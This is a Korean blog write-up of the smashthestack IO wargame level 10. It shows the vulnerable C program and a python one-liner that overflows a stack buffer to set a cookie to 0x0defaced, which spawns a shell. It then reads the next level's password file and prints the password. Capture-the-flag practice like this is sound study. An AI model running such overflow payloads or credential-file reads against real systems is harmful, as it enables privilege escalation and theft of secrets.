io.smashthestack.org – Level 10

Level 10 소스는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[260];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];
}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}

소스를 살펴보면 일단 cookie 변수가 0x0defaced 로 셋팅이 되어야 되는것을 확인할 수 있다.
아마 이것은 f() 함수에서 오버플로우가 나서 될 것으로 보인다. 공격을 해보도록 하자.

level10@io:/levels$ ./level10 `python -c "print '\xed\xac\xef\x0d'*100"` 
Segmentation fault
level10@io:/levels$ ./level10 `python -c "print '\x0d\xed\xac\xef'*100"`    
sh-3.2$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10),1029(nosu)
sh-3.2$ cat /home/level11/.pass
budt0cgd
sh-3.2$ 

생각보다 쉽게 풀렸는데 당연히 주소가 안맞을거라 생각하고 조금씩 위치를 변경해주다 보면 맞아떨어져 쉘이 뜬다.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 항목은 *(으)로 표시합니다